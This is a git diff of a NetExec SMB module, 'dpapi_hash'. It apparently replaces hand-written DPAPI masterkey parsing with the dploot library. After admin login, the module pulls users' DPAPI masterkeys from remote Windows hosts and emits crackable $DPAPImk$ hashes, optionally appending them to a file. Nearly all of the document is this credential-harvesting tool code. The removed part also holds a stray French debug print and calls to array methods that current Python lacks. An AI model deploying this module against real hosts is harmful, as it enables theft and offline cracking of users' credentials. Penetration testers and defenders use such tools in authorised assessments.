1- import ntpath
21from dploot .lib .target import Target
3- from dploot .lib .smb import DPLootSMBConnection
4- import struct
5- import binascii
6- import array
7-
8- # Based on dpapimk2john, original work by @fist0urs
9-
10-
11- class Eater :
12- def __init__ (self , raw , offset = 0 , end = None , endianness = "<" ):
13- self .raw = raw
14- self .ofs = offset
15- self .end = len (raw ) if end is None else end
16- self .endianness = endianness
17-
18- def prepare_fmt (self , fmt ):
19- if fmt [0 ] not in ("<" , ">" , "!" , "@" ):
20- fmt = self .endianness + fmt
21- return fmt , struct .calcsize (fmt )
22-
23- def read (self , fmt ):
24- fmt , sz = self .prepare_fmt (fmt )
25- v = struct .unpack_from (fmt , self .raw , self .ofs )
26- return v [0 ] if len (v ) == 1 else v
27-
28- def eat (self , fmt ):
29- fmt , sz = self .prepare_fmt (fmt )
30- v = struct .unpack_from (fmt , self .raw , self .ofs )
31- self .ofs += sz
32- return v [0 ] if len (v ) == 1 else v
33-
34- def eat_string (self , length ):
35- return self .eat (f"{ length } s" )
36-
37- def remain (self ):
38- return self .raw [self .ofs :self .end ]
39-
40- def eat_sub (self , length ):
41- sub = Eater (self .raw [self .ofs :self .ofs + length ], endianness = self .endianness )
42- self .ofs += length
43- return sub
44-
45-
46- class DPAPIBlob :
47- def __init__ (self , raw = None ):
48- # Initialization code
49- pass
50-
51- @staticmethod
52- def hexstr (bytestr ):
53- return binascii .hexlify (bytestr ).decode ("ascii" )
54-
55-
56- class CryptoAlgo :
57- class Algo :
58- def __init__ (self , data ):
59- self .__dict__ .update (data )
60-
61- _crypto_data = {}
62-
63- @classmethod
64- def add_algo (cls , algnum , ** kargs ):
65- cls ._crypto_data [algnum ] = cls .Algo (kargs )
66- if "name" in kargs :
67- kargs ["ID" ] = algnum
68- cls ._crypto_data [kargs ["name" ]] = cls .Algo (kargs )
69-
70- @classmethod
71- def get_algo (cls , algnum ):
72- return cls ._crypto_data .get (algnum )
73-
74- def __init__ (self , algnum ):
75- self .algnum = algnum
76- self .algo = CryptoAlgo .get_algo (algnum )
77- if not self .algo :
78- raise ValueError (f"Algorithm number { algnum } not found in crypto data" )
79-
80- name = property (lambda self : self .algo .name )
81- keyLength = property (lambda self : self .algo .keyLength // 8 )
82- ivLength = property (lambda self : self .algo .IVLength // 8 )
83- blockSize = property (lambda self : self .algo .blockLength // 8 )
84- digestLength = property (lambda self : self .algo .digestLength // 8 )
85-
86- def __repr__ (self ):
87- return f"{ self .algo .name } [{ self .algnum :#x} ]"
88-
89-
90- def des_set_odd_parity (key ):
91- _lut = [1 , 1 , 2 , 2 , 4 , 4 , 7 , 7 , 8 , 8 , 11 , 11 , 13 , 13 , 14 , 14 , 16 , 16 , 19 , 19 , 21 , 21 , 22 , 22 , 25 , 25 , 26 , 26 , 28 , 28 , 31 , 31 , 32 , 32 , 35 , 35 , 37 , 37 , 38 , 38 , 41 , 41 , 42 , 42 , 44 , 44 , 47 , 47 , 49 , 49 , 50 , 50 , 52 , 52 , 55 , 55 , 56 , 56 , 59 , 59 , 61 , 61 , 62 , 62 , 64 , 64 , 67 , 67 , 69 , 69 , 70 , 70 , 73 , 73 , 74 , 74 , 76 , 76 , 79 , 79 , 81 , 81 , 82 , 82 , 84 , 84 , 87 , 87 , 88 , 88 , 91 , 91 , 93 , 93 , 94 , 94 , 97 , 97 , 98 , 98 , 100 , 100 , 103 , 103 , 104 , 104 , 107 , 107 , 109 , 109 , 110 , 110 , 112 , 112 , 115 , 115 , 117 , 117 , 118 , 118 , 121 , 121 , 122 , 122 , 124 , 124 , 127 , 127 , 128 , 128 , 131 , 131 , 133 , 133 , 134 , 134 , 137 , 137 , 138 , 138 , 140 , 140 , 143 , 143 , 145 , 145 , 146 , 146 , 148 , 148 , 151 , 151 , 152 , 152 , 155 , 155 , 157 , 157 , 158 , 158 , 161 , 161 , 162 , 162 , 164 , 164 , 167 , 167 , 168 , 168 , 171 , 171 , 173 , 173 , 174 , 174 , 176 , 176 , 179 , 179 , 181 , 181 , 182 , 182 , 185 , 185 , 186 , 186 , 188 , 188 , 191 , 191 , 193 , 193 , 194 , 194 , 196 , 196 , 199 , 199 , 200 , 200 , 203 , 203 , 205 , 205 , 206 , 206 , 208 , 208 , 211 , 211 , 213 , 213 , 214 , 214 , 217 , 217 , 218 , 218 , 220 , 220 , 223 , 223 , 224 , 224 , 227 , 227 , 229 , 229 , 230 , 230 , 233 , 233 , 234 , 234 , 236 , 236 , 239 , 239 , 241 , 241 , 242 , 242 , 244 , 244 , 247 , 247 , 248 , 248 , 251 , 251 , 253 , 253 , 254 , 254 ]
92- tmp = array .array ("B" )
93- tmp .fromstring (key )
94- for i , v in enumerate (tmp ):
95- tmp [i ] = _lut [v ]
96- return tmp .tostring ()
2+ from dploot .triage .masterkeys import MasterkeysTriage
973
4+ from nxc .protocols .smb .dpapi import upgrade_to_dploot_connection
985
99- CryptoAlgo .add_algo (0x6601 , name = "DES" , keyLength = 64 , IVLength = 64 , blockLength = 64 , keyFixup = des_set_odd_parity )
100- CryptoAlgo .add_algo (0x6603 , name = "DES3" , keyLength = 192 , IVLength = 64 , blockLength = 64 , keyFixup = des_set_odd_parity )
101- CryptoAlgo .add_algo (0x6611 , name = "AES" , keyLength = 128 , IVLength = 128 , blockLength = 128 )
102- CryptoAlgo .add_algo (0x660E , name = "AES-128" , keyLength = 128 , IVLength = 128 , blockLength = 128 )
103- CryptoAlgo .add_algo (0x660F , name = "AES-192" , keyLength = 192 , IVLength = 128 , blockLength = 128 )
104- CryptoAlgo .add_algo (0x6610 , name = "AES-256" , keyLength = 256 , IVLength = 128 , blockLength = 128 )
105- CryptoAlgo .add_algo (0x8009 , name = "HMAC" , digestLength = 160 , blockLength = 512 )
106- CryptoAlgo .add_algo (0x8003 , name = "md5" , digestLength = 128 , blockLength = 512 )
107- CryptoAlgo .add_algo (0x8004 , name = "sha1" , digestLength = 160 , blockLength = 512 )
108- CryptoAlgo .add_algo (0x800C , name = "sha256" , digestLength = 256 , blockLength = 512 )
109- CryptoAlgo .add_algo (0x800D , name = "sha384" , digestLength = 384 , blockLength = 1024 )
110- CryptoAlgo .add_algo (0x800E , name = "sha512" , digestLength = 512 , blockLength = 1024 )
111-
112-
113- def display_masterkey (Preferred ):
114- GUID1 = Preferred .read (8 )
115- GUID2 = Preferred .read (8 )
116- GUID = struct .unpack ("<LHH" , GUID1 )
117- GUID2 = struct .unpack (">HLH" , GUID2 )
118- return f"{ GUID [0 ]:08x} -{ GUID [1 ]:04x} -{ GUID [2 ]:04x} -{ GUID2 [0 ]:04x} -{ GUID2 [1 ]:08x} { GUID2 [2 ]:04x} "
119-
120-
121- class MasterKey :
122- def __init__ (self , raw = None , SID = None , context = None ):
123- self .decrypted = self .key = self .key_hash = None
124- self .hmacSalt = self .hmac = self .hmacComputed = None
125- self .cipherAlgo = self .hashAlgo = self .rounds = None
126- self .iv = self .version = self .ciphertext = None
127- self .SID = SID
128- self .context = context
129- self .parse (raw )
130-
131- def parse (self , data ):
132- eater = Eater (data )
133- self .version = eater .eat ("L" )
134- self .iv = eater .eat ("16s" )
135- self .rounds = eater .eat ("L" )
136- self .hashAlgo = CryptoAlgo (eater .eat ("L" ))
137- self .cipherAlgo = CryptoAlgo (eater .eat ("L" ))
138- self .ciphertext = eater .remain ()
139-
140- def jhash (self , user , ctx ):
141- version , hmac_algo , cipher_algo = - 1 , None , None
142- if "des3" in str (self .cipherAlgo ).lower () and "hmac" in str (self .hashAlgo ).lower ():
143- version , hmac_algo , cipher_algo = 1 , "sha1" , "des3"
144- elif "aes-256" in str (self .cipherAlgo ).lower () and "sha512" in str (self .hashAlgo ).lower ():
145- version , hmac_algo , cipher_algo = 2 , "sha512" , "aes256"
146- else :
147- return f"Unsupported combination of cipher '{ self .cipherAlgo } ' and hash algorithm '{ self .hashAlgo } ' found!"
148- context = 0
149- if self .context == "domain" :
150- context = 2
151- s = f"{ user } :$DPAPImk${ version } *{ context } *{ self .SID } *{ cipher_algo } *{ hmac_algo } *{ self .rounds } *{ DPAPIBlob .hexstr (self .iv )} *{ len (DPAPIBlob .hexstr (self .ciphertext ))} *{ DPAPIBlob .hexstr (self .ciphertext )} "
152- ctx .log .highlight (f"Context2: { s } " )
153- context = 3
154- s = f"\n { user } :$DPAPImk${ version } *{ context } *{ self .SID } *{ cipher_algo } *{ hmac_algo } *{ self .rounds } *{ DPAPIBlob .hexstr (self .iv )} *{ len (DPAPIBlob .hexstr (self .ciphertext ))} *{ DPAPIBlob .hexstr (self .ciphertext )} "
155- ctx .log .highlight (f"Context3: { s } " )
156- else :
157- context = {"local" : 1 , "domain1607-" : 2 , "domain1607+" : 3 }.get (self .context , 0 )
158- s = f"{ user } :$DPAPImk${ version } *{ context } *{ self .SID } *{ cipher_algo } *{ hmac_algo } *{ self .rounds } *{ DPAPIBlob .hexstr (self .iv )} *{ len (DPAPIBlob .hexstr (self .ciphertext ))} *{ DPAPIBlob .hexstr (self .ciphertext )} "
159- return s
160-
161-
162- class MasterKeyFile :
163- def __init__ (self , raw = None , SID = None , context = None ):
164- self .masterkey = self .backupkey = self .credhist = self .domainkey = None
165- self .decrypted = False
166- self .version = self .guid = self .policy = None
167- self .masterkeyLen = self .backupkeyLen = self .credhistLen = self .domainkeyLen = 0
168- self .SID = SID
169- self .context = context
170- self .parse (raw )
171-
172- def parse (self , data ):
173- eater = Eater (data )
174- self .version = eater .eat ("L" )
175- eater .eat ("2L" )
176- self .guid = eater .eat ("72s" ).decode ("UTF-16LE" ).encode ("utf-8" )
177- eater .eat ("2L" )
178- self .policy = eater .eat ("L" )
179- self .masterkeyLen = eater .eat ("Q" )
180- self .backupkeyLen = eater .eat ("Q" )
181- self .credhistLen = eater .eat ("Q" )
182- self .domainkeyLen = eater .eat ("Q" )
183- if self .masterkeyLen > 0 :
184- self .masterkey = MasterKey (eater .eat_sub (self .masterkeyLen ).remain (), SID = self .SID , context = self .context )
185- if self .backupkeyLen > 0 :
186- self .backupkey = MasterKey (eater .eat_sub (self .backupkeyLen ).remain (), SID = self .SID , context = self .context )
187-
6+ # Based on dpapimk2john, original work by @fist0urs
1887
1898class NXCModule :
1909 name = "dpapi_hash"
@@ -193,97 +12,52 @@ class NXCModule:
19312 opsec_safe = True
19413 multiple_hosts = True
19514
196- def __init__ (self , context = None , module_options = None ):
197- self .false_positive = (
198- "." ,
199- ".." ,
200- "desktop.ini" ,
201- "Public" ,
202- "Default" ,
203- "Default User" ,
204- "All Users" ,
205- )
206- self .user_directories = "\\ Users\\ {username}\\ AppData\\ Roaming\\ Microsoft\\ Protect"
207-
208- def get_users (self , conn ):
209- users = []
210-
211- users_dir_path = "Users\\ *"
212- directories = conn .listPath (shareName = self .share , path = ntpath .normpath (users_dir_path ))
213-
214- for d in directories :
215- if d .get_longname () not in self .false_positive and d .is_directory () > 0 :
216- users .append (d .get_longname ()) # noqa: PERF401, ignoring for readability
217- return users
15+ def options (self , context , module_options ):
16+ """OUTPUTFILE Output file to write hashes"""
17+ self .outputfile = None
18+ if "OUTPUTFILE" in module_options :
19+ self .outputfile = module_options ["OUTPUTFILE" ]
21820
21921 def on_admin_login (self , context , connection ):
220- self .context = context
221- self .connection = connection
222- self .share = connection .args .share
223-
224- host = f"{ connection .hostname } .{ connection .domain } "
225- domain = connection .domain
22622 username = connection .username
227- kerberos = connection .kerberos
228- aesKey = connection .aesKey
229- use_kcache = getattr (connection , "use_kcache" , False )
23023 password = getattr (connection , "password" , "" )
231- lmhash = getattr (connection , "lmhash" , "" )
23224 nthash = getattr (connection , "nthash" , "" )
23325
23426 target = Target .create (
235- domain = domain ,
27+ domain = connection . domain ,
23628 username = username ,
23729 password = password ,
238- target = host ,
239- lmhash = lmhash ,
30+ target = connection . host if not connection . kerberos else connection . hostname + "." + connection . domain ,
31+ lmhash = getattr ( connection , " lmhash" , "" ) ,
24032 nthash = nthash ,
241- do_kerberos = kerberos ,
242- aesKey = aesKey ,
243- use_kcache = use_kcache ,
33+ do_kerberos = connection .kerberos ,
34+ aesKey = connection .aesKey ,
35+ no_pass = True ,
36+ use_kcache = getattr (connection , "use_kcache" , False ),
24437 )
245-
246- conn = self .upgrade_connection (target = target , connection = connection .conn )
247- # get users list
248- users = self .get_users (conn )
249- context .log .debug ("Gathering DPAPI Hashes" )
250-
251- # search user directory to retrieve the prefered protected Masterkey
252- for user in users :
253- directory_path = self .user_directories .format (username = user )
254- directorylist = conn .remote_list_dir (self .context .share , directory_path )
255- try :
256- for item in directorylist :
257- if item .get_longname ().startswith ("S-" ):
258- sid = item .get_longname ()
259- print (f"on est quand même là { item } " )
260- context .log .debug (f"Found user SID: { sid } " )
261- mkfolder = ntpath .join (directory_path , item .get_longname ())
262- mkfoldercontent = conn .remote_list_dir (self .context .share , mkfolder )
263- for mk in mkfoldercontent :
264- if mk .get_longname () == "Preferred" :
265- preferredfile = ntpath .join (directory_path , mkfolder , mk .get_longname ())
266- Preferredcontent = conn .readFile (self .context .share , preferredfile )
267- GUID1 , GUID2 = Preferredcontent [:8 ], Preferredcontent [8 :16 ]
268- GUID = struct .unpack ("<LHH" , GUID1 )
269- GUID2 = struct .unpack (">HLH" , GUID2 )
270- masterkey = f"{ GUID [0 ]:08x} -{ GUID [1 ]:04x} -{ GUID [2 ]:04x} -{ GUID2 [0 ]:04x} -{ GUID2 [1 ]:08x} { GUID2 [2 ]:04x} "
271- masterkeypath = ntpath .join (directory_path , mkfolder , masterkey )
272- masterkeycontent = conn .readFile (self .context .share , masterkeypath )
273- masterkeyfile_obj = MasterKeyFile (masterkeycontent , SID = sid , context = "domain" )
274- if masterkeyfile_obj .masterkey :
275- masterkeyfile_obj .masterkey .jhash (user , context )
276- except Exception as e :
277- context .log .debug (f"{ e } " )
278- continue
279-
280- def upgrade_connection (self , target : Target , connection = None ):
281- conn = DPLootSMBConnection (target )
282- if connection is not None :
283- conn .smb_session = connection
284- else :
285- conn .connect ()
286- return conn
287-
288- def options (self , context , module_options ):
289- """ """
38+
39+ conn = upgrade_to_dploot_connection (connection = connection .conn , target = target )
40+ if conn is None :
41+ context .log .debug ("Could not upgrade connection" )
42+ return
43+
44+ try :
45+ context .log .display ("Collecting DPAPI masterkeys, grab a coffee and be patient..." )
46+ masterkeys_triage = MasterkeysTriage (
47+ target = target ,
48+ conn = conn ,
49+ )
50+ context .log .debug (f"Masterkeys Triage: { masterkeys_triage } " )
51+ context .log .debug ("Collecting user masterkeys" )
52+ masterkeys_triage .triage_masterkeys ()
53+ if self .outputfile is not None :
54+ with open (self .outputfile , "a+" ) as fd :
55+ for mkhash in [mkhash for masterkey in masterkeys_triage .all_looted_masterkeys for mkhash in masterkey .generate_hash () ]:
56+ context .log .highlight (mkhash )
57+ fd .write (f"{ mkhash } \n " )
58+ else :
59+ for mkhash in [mkhash for masterkey in masterkeys_triage .all_looted_masterkeys for mkhash in masterkey .generate_hash () ]:
60+ context .log .highlight (mkhash )
61+
62+ except Exception as e :
63+ context .log .debug (f"Could not get masterkeys: { e } " )
0 commit comments